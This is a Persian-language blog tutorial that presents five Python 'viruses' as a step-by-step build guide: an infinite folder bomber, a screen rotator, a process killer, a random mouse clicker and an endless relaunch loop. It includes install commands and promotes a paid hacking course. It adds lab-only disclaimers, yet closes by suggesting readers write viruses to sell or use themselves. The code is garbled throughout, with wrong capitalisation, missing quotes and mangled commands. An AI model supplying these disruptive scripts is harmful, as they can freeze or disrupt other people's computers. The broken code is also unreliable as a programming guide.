آموزش گام به گام ساخت ویروس با پایتون
ساخت ویروس با پایتون، یکی از مباحث مورد علاقه افرادیه که تو زمینه امنیت و تست نفوذ کار میکنن هست. در واقع شما با ساخت ویروس، درک کاملی از ساختار اون پیدا میکنید، و از این طریق هم میتونید راههای مقابله با اون رو کشف کنید تا افراد خرابکار به اهداف پلید خودشون دست پیدا نکنند.
در مقاله ساخت ویروس با پایتون قراره بصورت گام به گام 5 تا ویروس رو باهم بسازیم، تا شما رو بیشتر با نحوه کارکردن ویروسها آشنا کنیم و نشونتون بدیم چند کد ساده چقدر میتونند خرابی به بار بیارند؛ این مقاله کاملا آموزشی هست و لازم هست قبل از شروع یادگیری، به نکات و قوانین مربوط به این زمینه آشنا باشید.
نکات مهم قبل از ساخت ویروس با پایتون!
نکته اول! قبل از شروع آموزش، لازم هست که این موارد رو بدونید که: این مقاله با اهداف آموزشی تولید شده و هرگونه استفاده نادرست بر عهده خود کاربر هست.
نکته دوم! این کدها رو روی سیستم فعلی خودتون تست نکنید و در محیطهای آزمایشگاهی تست کنید؛ هرگونه آسیب به سیستم عامل به عهده خود شما هست.
نکته سوم! از تست ویروسها روی سیستم بقیه پرهیز کنید؛این کار خلاف قوانین است؛ قبل از هرگونه اقدام، قوانین جرایم سایبری را مطالعه کنید.
خب اگه با شرایط موافقید، بریم که ساخت ویروس با پایتون رو شروع کنیم…
در ادامه این مقاله قراره آموزش ساخت 5 ویروس با پایتون رو به شما آموزش بدم پس همراه من باشید.
ساخت ویروس Folder Bomber با پایتون
ویروس Folder Bomber ممکنه ظاهر گول زنندهای داشته باشه، اما همین یک ویروس میتونه سیستمتون رو به کل نابود کنه؛ این ویروس کارش اینه که به تعدادی که ما براش تعیین میکنیم فولدر یا همون پوشه میسازه، حالا فکر کنید اون تعداد بینهایت باشه!! سیستم به کل نابود میشه، چون تمام سخت افزارها با سرعت خیلی زیاد و پی در پی درگیر انجام این کار میشن. خیلی جدی بهتون توصیه میکنم این ویروس رو در سیستم اصلی خودتون اجرا نکنید و در محیط آزمایشگاهی اون رو تست کنید.
بریم برای ساخت ویروس Folder Bomber با پایتون…
اگه پایتون رو سیستمتون نصب نیست؛ پایتون رو دانلود کنید.
اول از همه مطمئن بشید که لپتاب یا کامپیوترتون به اینترنت وصله!
حالا قدم بعدی این هست که کلید ترکیبی Ctrl + R رو بزنید تا پنجره Run باز بشه.
کلمه cmd را در جعبهای که ظاهر شده بنویسید و Enter رو بزنید.
پنجره cmd که باز شد، عبارت زیر رو بنویسید تا کتابخانه RandString نصب بشه.
pip install rand-string
در این مرحله باید صبر کنید تا دانلود و نصب کتابخانه کامل بشه.
حالا که نصب کتابخانه RandString تموم شد، ساخت ویروس با پایتون رو شروع میکنیم.
وارد محیط برنامه نویسی خودتون بشید و کد زیر رو بنویسید:
From rand_string.rand_string import RandString
این خط کد، برای اضافه کردن کتابخانهای هست که برای ما اسم فولدرها رو بصورت رندوم مینویسه.
در ادامه بنویسید:
import OS
کتابخانه OS برای دسترسی به دستورات سیستمی استفاده میشه.
For i in range(5): Os.mkdir(RandString("uppercase",6))
اینجا یک حلقه میسازیم با محدودیت 5 بار اجرا شدن؛ با هربار اجرا شدن یک پوشه 6 حرفی میسازه و اسم اون رو بصورت حروف بزرگ مینویسه.
کد به این صورت است:
From rand_string.rand_string import RandString import OS For i in range(5): Os.mkdir(RandString("uppercase",6))
خب حالا تا اینجا اسمشو بیشتر ترقه میشه گذاشت تا بمب، برای اینکه مثل بمب عمل کنه، اون رو درون یک حلقه بینهایت میذاریم.
From rand_string.rand_string import RandString import OS While True: Try: Os.mkdir(RandString("uppercase",6)) Except FileExistsError: Pass
برای خروجی گرفتن از کد بالا:
فایل رو اسم دلخواه ذخیره کنید و پسوند py رو برای اون قرار بدید برای مثال : FolderBomber.py
! تاکید میکنم این ویروس رو روی سیستم خودتون اجرا نکنید.
خب بریم که ویروس بعدی رو ببینیم…
ساخت ویروس Rotate Screen با پایتون
ویروس Rotate Screen یکی ازون عجیب غریبهاست، این ویروس اگه در سطح مقدماتی بمونه احتمالا آسیب زیادی به سیستم وارد نمیکنه و بیشتر هدفش اذیت کردن هست، این ویروس کارش اینه که صفحه مانیتور رو هی به زاویههای مختلف بچرخونه و بره رو مختون.
بریم برای ساخت ویروس Rotate Screen با پایتون…
اول از همه مطمئن بشید که لپتاب یا کامپیوترتون به اینترنت وصله!
حالا قدم بعدی این هست که کلید ترکیبی Ctrl + R رو بزنید تا پنجره Run باز بشه.
کلمه cmd را در جعبهای که ظاهر شده بنویسید و Enter رو بزنید.
پنجره cmd که باز شد، عبارت زیر رو بنویسید تا کتابخانه Rotate Screen نصب بشه.
pip install rotate-screen
حالا کتابخانه pywin32 رو هم با دستور زیر نصب کنید.
pip install pywin32
در این مرحله باید صبر کنید تا دانلود و نصب کتابخانهها کامل بشه.
حالا که نصب کتابخانهها تموم شد، ساخت ویروس با پایتون رو شروع میکنیم.
وارد محیط برنامه نویسی خودتون بشید و کد زیر رو بنویسید:
import rotatescreen as RS import time
با این کد کتابخانه Rotate Screen رو که مختص عملیات صفحه نمایش هست به پروژه خودمون اضافه میکنیم.
در ادامه کد قبلی کتابخانه Time که مختص زمانبندی هست رو به پروژه اضافه میکنیم.
حالا کد زیر رو بنویسید:
Pd = RS.get_primary_display()
ابتدا یک متغییر تعریف کردیم و گفتیم که مختصات اولیه صفحه نمایش رو بگیره و درون خودش ذخیره کنه.
حالا کد زیر رو بنویسید:
Angle_List = [ 90, 180, 270, 0]
در این مرحله لیستی ساختیم و زاویههای مد نظر خودمون رو درون اون قرار دادیم.
حالا کد زیر رو بنویسید:
For i in range(5): For j in range Angle_List: Pd.rotate_to(j) Time.sleep(0.3)
در این مرحله حلقهای ساختیم با محدودیت 5 بار اجرا برای اینکه سیستممون داغون نشه حین تست.
در قدم بعد یک حلقه دیگه درون حلقه اولمون ایجاد کردیم و بهش گفتیم که از لیست، زاویهها رو دریافت کنه و هر 0.3 ثانیه یکی از زاویهها رو اجرا کنه.
کد کامل این پروژه:
import rotatescreen as RS import time Pd = RS.get_primary_display() Angle_List = [ 90, 180, 270, 0] For i in range(5): For j in range Angle_List: Pd.rotate_to(j) Time.sleep(0.3)
همونطور که گفتم این یک نمونه تست هست ولی با قرار دادن اون درون یک حلقه نامحدود عملا مزاحمت زیادی برامون ایجاد میکنه.
در آموزش ویروس قبلی ذکر کردیم که چطور میتونیم یک حلقه بینهایت بسازیم!!
خب حالا که با روش کار این ویروس آشنا شدید بریم برای قدم بعد ساخت ویروس با پایتون…
ساخت ویروس Kill Process با پایتون
ویروس Kill Process نیز همانند ویروس قبلی در نمونههای اولیه اون آسیب به سیستم شما نمیزنه و فقط قصد ایجاد مزاحمت برای شما داره؛ این ویروس اینطور کار میکنه که براش یکسری نرمافزار مشخص تعیین میکنیم و اون هی اونها رو میبنده.
اینطور تصور کنید که رو فتوشاپ کلیک کنید یک لحظه بعد بسته بشه، موردی نداره دوباره بازش میکنید، میبینید که ای بابا هی باز میکنم هی بسته میشه.
این ویروس کارش همینه بریم برای ساخت ویروس Kill Process با پایتون…
وارد محیط برنامه نویسی خودتون بشید و کد زیر رو بنویسید:
import Subprocess import time
در ابتدا کتابخانه Subprocess رو به پروژه خودمون اضافه میکنیم تا دستورات سیستمی رو از این طریق اجرا کنه.
در ادامه کتابخانه Time رو برای زمانبندی به پروژه خودمون اضافه میکنیم.
حالا کد زیر رو بنویسید:
While True: Result = subprocess.getoutput(task kill /f /im Adobe Photo* ) Time.sleep(5)
در ادامه حلقه بینهایت میسازیم و درون اون یک متغییر با نام Result میسازیم؛ در ادامه دستور مقابل اون کار بستن برنامهای که اسم اون رو نوشتیم رو انجام میده.
دقت داشته باشید با بزرگی و کوچکی حروف حساسه و اگه اسم برنامه درست نوشته نشه کار نمیکنه.
کد کامل این پروژه:
import Subprocess import time While True: Result = subprocess.getoutput(task kill /f /im Adobe Photo* ) Time.sleep(5)
الان وارد قدم بعدی ساخت ویروس با پایتون میشیم؛ حالا که ذهنیت خوبی پیدا کردید بریم ویروسی رو بسازیم که میتونه خرابکاری به بار بیاره…
ساخت ویروس Clicking Randomly با پایتون
ویروس clicking Rendomly، ویروسی که حتی در مراحل اولیه میتونه دردسر ساز باشه!! چه برسه به اینکه توسعه داده بشه و خرابکاری زیادی به بار بیاره؛ این ویروس کارش اینه که، کنترل موس رو از دسترستون خارج میکنه و هی اینور اونور کلیک میکنه، بنظرم که همچین ویروسی رو دست کم نگیرید و فقط اونو در محیط تست اجرا کنید.
بریم برای ساخت ویروس clicking Rendomly با پایتون…
اول از همه مطمئن بشید که لپتاب یا کامپیوترتون به اینترنت وصله!
حالا قدم بعدی این هست که کلید ترکیبی Ctrl + R رو بزنید تا پنجره Run باز بشه.
کلمه cmd را در جعبهای که ظاهر شده بنویسید و Enter رو بزنید.
پنجره cmd که باز شد، عبارت زیر رو بنویسید تا کتابخانه pyautogui نصب بشه.
pip install pyautogui
در این مرحله باید صبر کنید تا دانلود و نصب کتابخانه کامل بشه.
حالا که نصب کتابخانه pyautogui تموم شد، ساخت ویروس با پایتون رو شروع میکنیم.
وارد محیط برنامه نویسی خودتون بشید و کد زیر رو بنویسید:
import pyautogui import random
ابتدا کتابخانه pyautogui رو که کارش کنترل موس و کیبورد هست رو به پروژه اضافه میکنیم.
در ادامه کتابخانه random رو که مختص ایجاد اعداد تصادفی هست هم اضافه میکنیم.
حالا کد زیر رو بنویسید:
Screensize = pyautogui.size()
با کمک این کد اندازه صفحه نمایش رو دریافت میکنیم.
حالا کد زیر رو بنویسید:
While True: Width_Screen = random.randint(0 , Screensize.width height_Screen = random.randint(0 , Screensize.height) pyautogui.leftclick(x= Width_Screen, y= height_Screen)
یک حلقه بینهایت میسازیم سپس، یک متغییر با نام Width_Screen ایجاد میکنیم و مختصات عرض رو رندوم بهش میدیم و همین کار رو برای مختصات طول انجام میدهیم.
در ادامه گفتیم که طبق مختصات طول و عرضی که رندوم دریافت میکنی در اون نقطه کلیک چپ کن.
در قدم آخر ساخت ویروس با پایتون؛ قرار ویروسی بسازیم که… بزارید نشونتون بدم اینطور بهتره
ساخت ویروس Notification Forever با پایتون
قدم آخر مقاله ساخت ویروس با پایتون رو اختصاص دادم به یک ویروس، که از قدیم کاری جزء خراب کردن سیستمهامون نداشت و از همون موقع که ویندوز XP داشتیم یادمه با این ویروس سر و کله میزدیم؛ ویروس Notification Forever ویروسی که اگه رو سیستم شما اجرا بشه انقدر یک پیام رو به شما نشون میده تا سیستمتون هنگ کنه.
همونطور که از اول مقاله تا اینجا تاکید داشتم، بازم تکرار میکنم که در محیط آزمایشی این ویروس رو تست کنید.
بریم برای ساخت ویروس Notification Forever با پایتون…
در شروع کار در صفحه اصلی ویندوز کلیک راست کنید و از بخش New گزینه New Document رو بزنید تا یک فایل txt ساخته بشه.
در ادامه کد زیر رو درون فایل txt بنویسید:
While True: Print("You shouldn't have clicked")
یک حلقه بینهایت ساختیم و پیغام خودمون رو درون اون نوشتیم؛ این قطعه کد در اصل قراره پیغامی باشه که نشون داده میشه.
در ادامه فایل رو با پسوند py ذخیره میکنیم؛ برای مثال Notification.py
در ادامه وارد محیط برنامه نویسی خودتون بشید و کد زیر رو بنویسید:
import OS import time
کتابخانه OS رو برای دسترسی به سیستم به پروژه اضافه میکنیم؛ در ادامه کتابخانه Time رو برای زمانبندی اضافه میکنیم.
حالا کد زیر رو بنویسید:
While true: Os.startfile("Notification.py") Time.sleep(9)
حالا یک حلقه بینهایت ساختیم و درون اون پیغام خودمون رو فراخوانی کردیم تا اون رو نمایش بده؛ در ادامه اون نوشتیم که هر 9 ثانیه این کد اجرا بشه.
مقاله ساخت ویروس با پایتون اینجا تموم نمیشه؛ در ادامه قراره بهتون بگم چطور میتونید ویروسها و ابزارهای حرفهایتر بنویسید پس با من همراه باشید.
چطور میتونیم ویروسها و ابزارهای حرفهایتر بنویسیم؟
مباحث مربوط به ویروس نویسی و ابزار نویسی خیلی گسترده هست و نمیشه تمام اون رو در یک مقاله آموزش داد؛ اما نگران نباشید اگر شما هم به ساخت ویروس با پایتون و مباحث تست نفوذ علاقه مندید و دوست دارید ابزارها و ویروسهای حرفهای بنویسید؛ دوره آموزشی پایتون سیاه سبزلرن مناسب شماست. شما با گذروندن این دوره درک کامل نسبت به این زمینه پیدا میکنید؛فصل اول این دوره کاملا رایگانه و همین الان میتونید یادگیری حرفهای خودتون رو شروع کنید و هرجایی رو نیاز به کمک داشتید پشتیبانهای این دوره هستند تا به شما کمک کنند.
زمانی که درک کاملی از ماهیت عملکرد ویروسها بدست بیارید ذهن شما درباره روش کار ویروسها تجسم خوبی خواهد داشت و از این طریق قادر خواهید بود با خلاقیت خودتون ویروسهایی بسازید که منحصر به خودتون هستند و میتونید اونها رو بفروشید یا برای استفاده شخصی خودتون به کار بگیرید.
بسیار عالی
من اگه بخوام برم توی امنیت حتما پایتون رو انتخاب میکنم،
برای بک اند هم یا پاتون یا JS!
دیگه شما ببین من چقدر پایتون رو دوست دارم!
جالبه... با سپاس
ممنونم از نظرتون❤